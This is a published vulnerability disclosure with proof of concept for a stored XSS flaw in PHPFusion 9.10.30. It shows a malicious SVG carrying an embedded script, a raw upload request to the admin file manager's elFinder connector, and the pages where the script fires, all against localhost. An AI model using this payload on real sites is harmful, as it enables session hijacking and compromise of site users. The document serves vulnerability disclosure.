PHPFusion 9.10.30 – Stored Cross-Site Scripting (XSS)
Exploit Title: PHPFusion 9.10.30 - Stored Cross-Site Scripting (XSS) Application: PHPFusion Version: 9.10.30 Bugs: XSS Technology: PHP Vendor URL: https://www.php-fusion.co.uk/home.php Software Link: https://sourceforge.net/projects/php-fusion/ Date of found: 28-04-2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. Go to Fusion file manager (http://localhost/PHPFusion%209.10.30/files/administration/file_manager.php?aid=ecf01599cf9cd553#elf_l1_Lw) 2. upload malicious svg file svg file content ===> <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> poc request: POST /PHPFusion%209.10.30/files/includes/elFinder/php/connector.php?aid=ecf01599cf9cd553 HTTP/1.1 Host: localhost Content-Length: 1198 sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108" sec-ch-ua-platform: "Linux" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxF2jB690PpLWInAA Accept: */* Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/PHPFusion%209.10.30/files/administration/file_manager.php?aid=ecf01599cf9cd553 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: fusion2847q_lastvisit=1682673668; fusion2847q_user=1.1682850094.7126692a74723afe3bc7e3fb130a60838c1aa1bcae83f7497402ce9f009f96ff; fusion2847q_admin=1.1682850118.14c483fed28d5a89734c158bbb9aa88eab03a5c4a97316c372dd3b2591d6982a; fusion2847q_session=q0ifs4lhqt9fm6h3jclbea79vf; fusion2847q_visited=yes; usertbl_results=user_joined%2Cuser_lastvisit%2Cuser_groups; usertbl_status=0 Connection: close ------WebKitFormBoundaryxF2jB690PpLWInAA Content-Disposition: form-data; name="reqid" 187c77be8e52cf ------WebKitFormBoundaryxF2jB690PpLWInAA Content-Disposition: form-data; name="cmd" upload ------WebKitFormBoundaryxF2jB690PpLWInAA Content-Disposition: form-data; name="target" l1_Lw ------WebKitFormBoundaryxF2jB690PpLWInAA Content-Disposition: form-data; name="hashes[l1_U1ZHX1hTUy5zdmc]" SVG_XSS.svg ------WebKitFormBoundaryxF2jB690PpLWInAA Content-Disposition: form-data; name="upload[]"; filename="SVG_XSS.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> ------WebKitFormBoundaryxF2jB690PpLWInAA Content-Disposition: form-data; name="mtime[]" 1681116842 ------WebKitFormBoundaryxF2jB690PpLWInAA Content-Disposition: form-data; name="overwrite" 0 ------WebKitFormBoundaryxF2jB690PpLWInAA-- 3. Then go to images (http://localhost/PHPFusion%209.10.30/files/administration/images.php?aid=ecf01599cf9cd553) or directly go to svg file( http://localhost/PHPFusion%209.10.30/files/images/SVG_XSS.svg) poc video : https://youtu.be/6yBLnRH8pOY |